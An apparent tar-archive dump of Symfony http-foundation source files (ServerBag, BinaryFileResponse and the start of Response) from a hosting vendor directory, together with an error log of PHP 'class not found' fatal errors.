HTTP headers from the $_SERVER variable. * * @author Fabien Potencier * @author Bulat Shakirzyanov * @author Robert Kiss */ class ServerBag extends ParameterBag { /** * Gets the HTTP headers. */ public function getHeaders(): array { $headers = []; foreach ($this->parameters as $key => $value) { if (str_starts_with($key, 'HTTP_')) { $headers[substr($key, 5)] = $value; } elseif (\in_array($key, ['CONTENT_TYPE', 'CONTENT_LENGTH', 'CONTENT_MD5'], true)) { $headers[$key] = $value; } } if (isset($this->parameters['PHP_AUTH_USER'])) { $headers['PHP_AUTH_USER'] = $this->parameters['PHP_AUTH_USER']; $headers['PHP_AUTH_PW'] = $this->parameters['PHP_AUTH_PW'] ?? ''; } else { /* * php-cgi under Apache does not pass HTTP Basic user/pass to PHP by default * For this workaround to work, add these lines to your .htaccess file: * RewriteCond %{HTTP:Authorization} .+ * RewriteRule ^ - [E=HTTP_AUTHORIZATION:%0] * * A sample .htaccess file: * RewriteEngine On * RewriteCond %{HTTP:Authorization} .+ * RewriteRule ^ - [E=HTTP_AUTHORIZATION:%0] * RewriteCond %{REQUEST_FILENAME} !-f * RewriteRule ^(.*)$ index.php [QSA,L] */ $authorizationHeader = null; if (isset($this->parameters['HTTP_AUTHORIZATION'])) { $authorizationHeader = $this->parameters['HTTP_AUTHORIZATION']; } elseif (isset($this->parameters['REDIRECT_HTTP_AUTHORIZATION'])) { $authorizationHeader = $this->parameters['REDIRECT_HTTP_AUTHORIZATION']; } if (null !== $authorizationHeader) { if (0 === stripos($authorizationHeader, 'basic ')) { // Decode AUTHORIZATION header into PHP_AUTH_USER and PHP_AUTH_PW when authorization header is basic $exploded = explode(':', base64_decode(substr($authorizationHeader, 6)), 2); if (2 == \count($exploded)) { [$headers['PHP_AUTH_USER'], $headers['PHP_AUTH_PW']] = $exploded; } } elseif (empty($this->parameters['PHP_AUTH_DIGEST']) && (0 === stripos($authorizationHeader, 'digest '))) { // In some circumstances PHP_AUTH_DIGEST needs to be set $headers['PHP_AUTH_DIGEST'] = $authorizationHeader; $this->parameters['PHP_AUTH_DIGEST'] = $authorizationHeader; } elseif (0 === stripos($authorizationHeader, 'bearer ')) { /* * XXX: Since there is no PHP_AUTH_BEARER in PHP predefined variables, * I'll just set $headers['AUTHORIZATION'] here. * https://php.net/reserved.variables.server */ $headers['AUTHORIZATION'] = $authorizationHeader; } } } if (isset($headers['AUTHORIZATION'])) { return $headers; } // PHP_AUTH_USER/PHP_AUTH_PW if (isset($headers['PHP_AUTH_USER'])) { $headers['AUTHORIZATION'] = 'Basic '.base64_encode($headers['PHP_AUTH_USER'].':'.($headers['PHP_AUTH_PW'] ?? '')); } elseif (isset($headers['PHP_AUTH_DIGEST'])) { $headers['AUTHORIZATION'] = $headers['PHP_AUTH_DIGEST']; } return $headers; } } http-foundation/error_log000064400000040245151113511500011602 0ustar00[18-Nov-2025 05:11:39 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/BinaryFileResponse.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/BinaryFileResponse.php on line 26 [18-Nov-2025 05:11:41 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\HeaderBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ResponseHeaderBag.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ResponseHeaderBag.php on line 19 [18-Nov-2025 05:12:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ChainRequestMatcher.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ChainRequestMatcher.php on line 19 [18-Nov-2025 05:12:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\StreamedResponse" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedJsonResponse.php:45 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedJsonResponse.php on line 45 [18-Nov-2025 05:12:53 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedResponse.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedResponse.php on line 27 [18-Nov-2025 05:36:16 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RedirectResponse.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RedirectResponse.php on line 19 [18-Nov-2025 09:25:52 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\HttpFoundation\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ExpressionRequestMatcher.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ExpressionRequestMatcher.php on line 18 [18-Nov-2025 12:36:48 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\HttpFoundation\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher.php on line 14 [18-Nov-2025 13:57:05 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\ParameterBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ServerBag.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ServerBag.php on line 21 [18-Nov-2025 14:33:47 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/BinaryFileResponse.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/BinaryFileResponse.php on line 26 [18-Nov-2025 15:38:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\HeaderBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ResponseHeaderBag.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ResponseHeaderBag.php on line 19 [18-Nov-2025 15:38:49 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ChainRequestMatcher.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ChainRequestMatcher.php on line 19 [18-Nov-2025 15:39:11 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedResponse.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedResponse.php on line 27 [18-Nov-2025 15:39:12 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\StreamedResponse" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedJsonResponse.php:45 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedJsonResponse.php on line 45 [18-Nov-2025 16:10:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RedirectResponse.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RedirectResponse.php on line 19 [18-Nov-2025 18:47:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/JsonResponse.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/JsonResponse.php on line 25 [18-Nov-2025 19:32:44 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\HttpFoundation\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ExpressionRequestMatcher.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ExpressionRequestMatcher.php on line 18 [18-Nov-2025 21:50:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\ParameterBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/InputBag.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/InputBag.php on line 21 [18-Nov-2025 21:58:35 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\HttpFoundation\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher.php on line 14 [18-Nov-2025 22:52:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\ParameterBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ServerBag.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ServerBag.php on line 21 [18-Nov-2025 23:34:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\ParameterBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/FileBag.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/FileBag.php on line 22 [19-Nov-2025 02:51:35 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/JsonResponse.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/JsonResponse.php on line 25 [19-Nov-2025 04:59:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\ParameterBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/InputBag.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/InputBag.php on line 21 [19-Nov-2025 06:34:20 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\ParameterBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/FileBag.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/FileBag.php on line 22 [24-Nov-2025 10:04:52 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ChainRequestMatcher.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ChainRequestMatcher.php on line 19 [24-Nov-2025 10:09:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\ParameterBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/InputBag.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/InputBag.php on line 21 [24-Nov-2025 10:11:11 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedResponse.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedResponse.php on line 27 [24-Nov-2025 10:11:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\ParameterBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ServerBag.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ServerBag.php on line 21 [24-Nov-2025 10:12:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\HeaderBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ResponseHeaderBag.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ResponseHeaderBag.php on line 19 [24-Nov-2025 10:13:22 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\HttpFoundation\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ExpressionRequestMatcher.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ExpressionRequestMatcher.php on line 18 [24-Nov-2025 11:51:05 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\HttpFoundation\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher.php on line 14 [24-Nov-2025 11:53:13 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\ParameterBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/FileBag.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/FileBag.php on line 22 [24-Nov-2025 11:54:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\StreamedResponse" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedJsonResponse.php:45 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedJsonResponse.php on line 45 [24-Nov-2025 11:55:04 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/BinaryFileResponse.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/BinaryFileResponse.php on line 26 [24-Nov-2025 12:45:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RedirectResponse.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RedirectResponse.php on line 19 [24-Nov-2025 12:47:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/JsonResponse.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/JsonResponse.php on line 25 [25-Nov-2025 09:59:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\ParameterBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/InputBag.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/InputBag.php on line 21 [25-Nov-2025 10:00:00 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\HttpFoundation\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/RequestMatcher.php on line 14 [25-Nov-2025 10:00:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/BinaryFileResponse.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/BinaryFileResponse.php on line 26 [25-Nov-2025 10:01:39 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\RequestMatcherInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ChainRequestMatcher.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ChainRequestMatcher.php on line 19 [25-Nov-2025 10:02:28 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\ParameterBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ServerBag.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ServerBag.php on line 21 [25-Nov-2025 10:42:28 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\ParameterBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/FileBag.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/FileBag.php on line 22 [25-Nov-2025 10:43:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedResponse.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedResponse.php on line 27 [25-Nov-2025 10:48:47 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Response" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/JsonResponse.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/JsonResponse.php on line 25 [25-Nov-2025 10:52:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\StreamedResponse" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedJsonResponse.php:45 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/StreamedJsonResponse.php on line 45 [25-Nov-2025 10:53:43 UTC] PHP Fatal error: Uncaught Error: Call to undefined function Symfony\Component\HttpFoundation\trigger_deprecation() in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ExpressionRequestMatcher.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ExpressionRequestMatcher.php on line 18 [25-Nov-2025 10:54:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\HeaderBag" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ResponseHeaderBag.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/ResponseHeaderBag.php on line 19 http-foundation/BinaryFileResponse.php000064400000030526151113511500014142 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; use Symfony\Component\HttpFoundation\File\Exception\FileException; use Symfony\Component\HttpFoundation\File\File; /** * BinaryFileResponse represents an HTTP response delivering a file. * * @author Niklas Fiekas * @author stealth35 * @author Igor Wiedler * @author Jordan Alliot * @author Sergey Linnik */ class BinaryFileResponse extends Response { protected static $trustXSendfileTypeHeader = false; /** * @var File */ protected $file; protected $offset = 0; protected $maxlen = -1; protected $deleteFileAfterSend = false; protected $chunkSize = 16 * 1024; /** * @param \SplFileInfo|string $file The file to stream * @param int $status The response status code (200 "OK" by default) * @param array $headers An array of response headers * @param bool $public Files are public by default * @param string|null $contentDisposition The type of Content-Disposition to set automatically with the filename * @param bool $autoEtag Whether the ETag header should be automatically set * @param bool $autoLastModified Whether the Last-Modified header should be automatically set */ public function __construct(\SplFileInfo|string $file, int $status = 200, array $headers = [], bool $public = true, string $contentDisposition = null, bool $autoEtag = false, bool $autoLastModified = true) { parent::__construct(null, $status, $headers); $this->setFile($file, $contentDisposition, $autoEtag, $autoLastModified); if ($public) { $this->setPublic(); } } /** * Sets the file to stream. * * @return $this * * @throws FileException */ public function setFile(\SplFileInfo|string $file, string $contentDisposition = null, bool $autoEtag = false, bool $autoLastModified = true): static { if (!$file instanceof File) { if ($file instanceof \SplFileInfo) { $file = new File($file->getPathname()); } else { $file = new File((string) $file); } } if (!$file->isReadable()) { throw new FileException('File must be readable.'); } $this->file = $file; if ($autoEtag) { $this->setAutoEtag(); } if ($autoLastModified) { $this->setAutoLastModified(); } if ($contentDisposition) { $this->setContentDisposition($contentDisposition); } return $this; } /** * Gets the file. */ public function getFile(): File { return $this->file; } /** * Sets the response stream chunk size. * * @return $this */ public function setChunkSize(int $chunkSize): static { if ($chunkSize < 1 || $chunkSize > \PHP_INT_MAX) { throw new \LogicException('The chunk size of a BinaryFileResponse cannot be less than 1 or greater than PHP_INT_MAX.'); } $this->chunkSize = $chunkSize; return $this; } /** * Automatically sets the Last-Modified header according the file modification date. * * @return $this */ public function setAutoLastModified(): static { $this->setLastModified(\DateTime::createFromFormat('U', $this->file->getMTime())); return $this; } /** * Automatically sets the ETag header according to the checksum of the file. * * @return $this */ public function setAutoEtag(): static { $this->setEtag(base64_encode(hash_file('sha256', $this->file->getPathname(), true))); return $this; } /** * Sets the Content-Disposition header with the given filename. * * @param string $disposition ResponseHeaderBag::DISPOSITION_INLINE or ResponseHeaderBag::DISPOSITION_ATTACHMENT * @param string $filename Optionally use this UTF-8 encoded filename instead of the real name of the file * @param string $filenameFallback A fallback filename, containing only ASCII characters. Defaults to an automatically encoded filename * * @return $this */ public function setContentDisposition(string $disposition, string $filename = '', string $filenameFallback = ''): static { if ('' === $filename) { $filename = $this->file->getFilename(); } if ('' === $filenameFallback && (!preg_match('/^[\x20-\x7e]*$/', $filename) || str_contains($filename, '%'))) { $encoding = mb_detect_encoding($filename, null, true) ?: '8bit'; for ($i = 0, $filenameLength = mb_strlen($filename, $encoding); $i < $filenameLength; ++$i) { $char = mb_substr($filename, $i, 1, $encoding); if ('%' === $char || \ord($char) < 32 || \ord($char) > 126) { $filenameFallback .= '_'; } else { $filenameFallback .= $char; } } } $dispositionHeader = $this->headers->makeDisposition($disposition, $filename, $filenameFallback); $this->headers->set('Content-Disposition', $dispositionHeader); return $this; } public function prepare(Request $request): static { if ($this->isInformational() || $this->isEmpty()) { parent::prepare($request); $this->maxlen = 0; return $this; } if (!$this->headers->has('Content-Type')) { $this->headers->set('Content-Type', $this->file->getMimeType() ?: 'application/octet-stream'); } parent::prepare($request); $this->offset = 0; $this->maxlen = -1; if (false === $fileSize = $this->file->getSize()) { return $this; } $this->headers->remove('Transfer-Encoding'); $this->headers->set('Content-Length', $fileSize); if (!$this->headers->has('Accept-Ranges')) { // Only accept ranges on safe HTTP methods $this->headers->set('Accept-Ranges', $request->isMethodSafe() ? 'bytes' : 'none'); } if (self::$trustXSendfileTypeHeader && $request->headers->has('X-Sendfile-Type')) { // Use X-Sendfile, do not send any content. $type = $request->headers->get('X-Sendfile-Type'); $path = $this->file->getRealPath(); // Fall back to scheme://path for stream wrapped locations. if (false === $path) { $path = $this->file->getPathname(); } if ('x-accel-redirect' === strtolower($type)) { // Do X-Accel-Mapping substitutions. // @link https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/#x-accel-redirect $parts = HeaderUtils::split($request->headers->get('X-Accel-Mapping', ''), ',='); foreach ($parts as $part) { [$pathPrefix, $location] = $part; if (str_starts_with($path, $pathPrefix)) { $path = $location.substr($path, \strlen($pathPrefix)); // Only set X-Accel-Redirect header if a valid URI can be produced // as nginx does not serve arbitrary file paths. $this->headers->set($type, $path); $this->maxlen = 0; break; } } } else { $this->headers->set($type, $path); $this->maxlen = 0; } } elseif ($request->headers->has('Range') && $request->isMethod('GET')) { // Process the range headers. if (!$request->headers->has('If-Range') || $this->hasValidIfRangeHeader($request->headers->get('If-Range'))) { $range = $request->headers->get('Range'); if (str_starts_with($range, 'bytes=')) { [$start, $end] = explode('-', substr($range, 6), 2) + [1 => 0]; $end = ('' === $end) ? $fileSize - 1 : (int) $end; if ('' === $start) { $start = $fileSize - $end; $end = $fileSize - 1; } else { $start = (int) $start; } if ($start <= $end) { $end = min($end, $fileSize - 1); if ($start < 0 || $start > $end) { $this->setStatusCode(416); $this->headers->set('Content-Range', sprintf('bytes */%s', $fileSize)); } elseif ($end - $start < $fileSize - 1) { $this->maxlen = $end < $fileSize ? $end - $start + 1 : -1; $this->offset = $start; $this->setStatusCode(206); $this->headers->set('Content-Range', sprintf('bytes %s-%s/%s', $start, $end, $fileSize)); $this->headers->set('Content-Length', $end - $start + 1); } } } } } if ($request->isMethod('HEAD')) { $this->maxlen = 0; } return $this; } private function hasValidIfRangeHeader(?string $header): bool { if ($this->getEtag() === $header) { return true; } if (null === $lastModified = $this->getLastModified()) { return false; } return $lastModified->format('D, d M Y H:i:s').' GMT' === $header; } public function sendContent(): static { try { if (!$this->isSuccessful()) { return parent::sendContent(); } if (0 === $this->maxlen) { return $this; } $out = fopen('php://output', 'w'); $file = fopen($this->file->getPathname(), 'r'); ignore_user_abort(true); if (0 !== $this->offset) { fseek($file, $this->offset); } $length = $this->maxlen; while ($length && !feof($file)) { $read = $length > $this->chunkSize || 0 > $length ? $this->chunkSize : $length; if (false === $data = fread($file, $read)) { break; } while ('' !== $data) { $read = fwrite($out, $data); if (false === $read || connection_aborted()) { break 2; } if (0 < $length) { $length -= $read; } $data = substr($data, $read); } } fclose($out); fclose($file); } finally { if ($this->deleteFileAfterSend && is_file($this->file->getPathname())) { unlink($this->file->getPathname()); } } return $this; } /** * @throws \LogicException when the content is not null */ public function setContent(?string $content): static { if (null !== $content) { throw new \LogicException('The content cannot be set on a BinaryFileResponse instance.'); } return $this; } public function getContent(): string|false { return false; } /** * Trust X-Sendfile-Type header. * * @return void */ public static function trustXSendfileTypeHeader() { self::$trustXSendfileTypeHeader = true; } /** * If this is set to true, the file will be unlinked after the request is sent * Note: If the X-Sendfile header is used, the deleteFileAfterSend setting will not be used. * * @return $this */ public function deleteFileAfterSend(bool $shouldDelete = true): static { $this->deleteFileAfterSend = $shouldDelete; return $this; } } http-foundation/Response.php000064400000120300151113511500012163 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; // Help opcache.preload discover always-needed symbols class_exists(ResponseHeaderBag::class); /** * Response represents an HTTP response. * * @author Fabien Potencier */ class Response { public const HTTP_CONTINUE = 100; public const HTTP_SWITCHING_PROTOCOLS = 101; public const HTTP_PROCESSING = 102; // RFC2518 public const HTTP_EARLY_HINTS = 103; // RFC8297 public const HTTP_OK = 200; public const HTTP_CREATED = 201; public const HTTP_ACCEPTED = 202; public const HTTP_NON_AUTHORITATIVE_INFORMATION = 203; public const HTTP_NO_CONTENT = 204; public const HTTP_RESET_CONTENT = 205; public const HTTP_PARTIAL_CONTENT = 206; public const HTTP_MULTI_STATUS = 207; // RFC4918 public const HTTP_ALREADY_REPORTED = 208; // RFC5842 public const HTTP_IM_USED = 226; // RFC3229 public const HTTP_MULTIPLE_CHOICES = 300; public const HTTP_MOVED_PERMANENTLY = 301; public const HTTP_FOUND = 302; public const HTTP_SEE_OTHER = 303; public const HTTP_NOT_MODIFIED = 304; public const HTTP_USE_PROXY = 305; public const HTTP_RESERVED = 306; public const HTTP_TEMPORARY_REDIRECT = 307; public const HTTP_PERMANENTLY_REDIRECT = 308; // RFC7238 public const HTTP_BAD_REQUEST = 400; public const HTTP_UNAUTHORIZED = 401; public const HTTP_PAYMENT_REQUIRED = 402; public const HTTP_FORBIDDEN = 403; public const HTTP_NOT_FOUND = 404; public const HTTP_METHOD_NOT_ALLOWED = 405; public const HTTP_NOT_ACCEPTABLE = 406; public const HTTP_PROXY_AUTHENTICATION_REQUIRED = 407; public const HTTP_REQUEST_TIMEOUT = 408; public const HTTP_CONFLICT = 409; public const HTTP_GONE = 410; public const HTTP_LENGTH_REQUIRED = 411; public const HTTP_PRECONDITION_FAILED = 412; public const HTTP_REQUEST_ENTITY_TOO_LARGE = 413; public const HTTP_REQUEST_URI_TOO_LONG = 414; public const HTTP_UNSUPPORTED_MEDIA_TYPE = 415; public const HTTP_REQUESTED_RANGE_NOT_SATISFIABLE = 416; public const HTTP_EXPECTATION_FAILED = 417; public const HTTP_I_AM_A_TEAPOT = 418; // RFC2324 public const HTTP_MISDIRECTED_REQUEST = 421; // RFC7540 public const HTTP_UNPROCESSABLE_ENTITY = 422; // RFC4918 public const HTTP_LOCKED = 423; // RFC4918 public const HTTP_FAILED_DEPENDENCY = 424; // RFC4918 public const HTTP_TOO_EARLY = 425; // RFC-ietf-httpbis-replay-04 public const HTTP_UPGRADE_REQUIRED = 426; // RFC2817 public const HTTP_PRECONDITION_REQUIRED = 428; // RFC6585 public const HTTP_TOO_MANY_REQUESTS = 429; // RFC6585 public const HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE = 431; // RFC6585 public const HTTP_UNAVAILABLE_FOR_LEGAL_REASONS = 451; // RFC7725 public const HTTP_INTERNAL_SERVER_ERROR = 500; public const HTTP_NOT_IMPLEMENTED = 501; public const HTTP_BAD_GATEWAY = 502; public const HTTP_SERVICE_UNAVAILABLE = 503; public const HTTP_GATEWAY_TIMEOUT = 504; public const HTTP_VERSION_NOT_SUPPORTED = 505; public const HTTP_VARIANT_ALSO_NEGOTIATES_EXPERIMENTAL = 506; // RFC2295 public const HTTP_INSUFFICIENT_STORAGE = 507; // RFC4918 public const HTTP_LOOP_DETECTED = 508; // RFC5842 public const HTTP_NOT_EXTENDED = 510; // RFC2774 public const HTTP_NETWORK_AUTHENTICATION_REQUIRED = 511; // RFC6585 /** * @see https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control */ private const 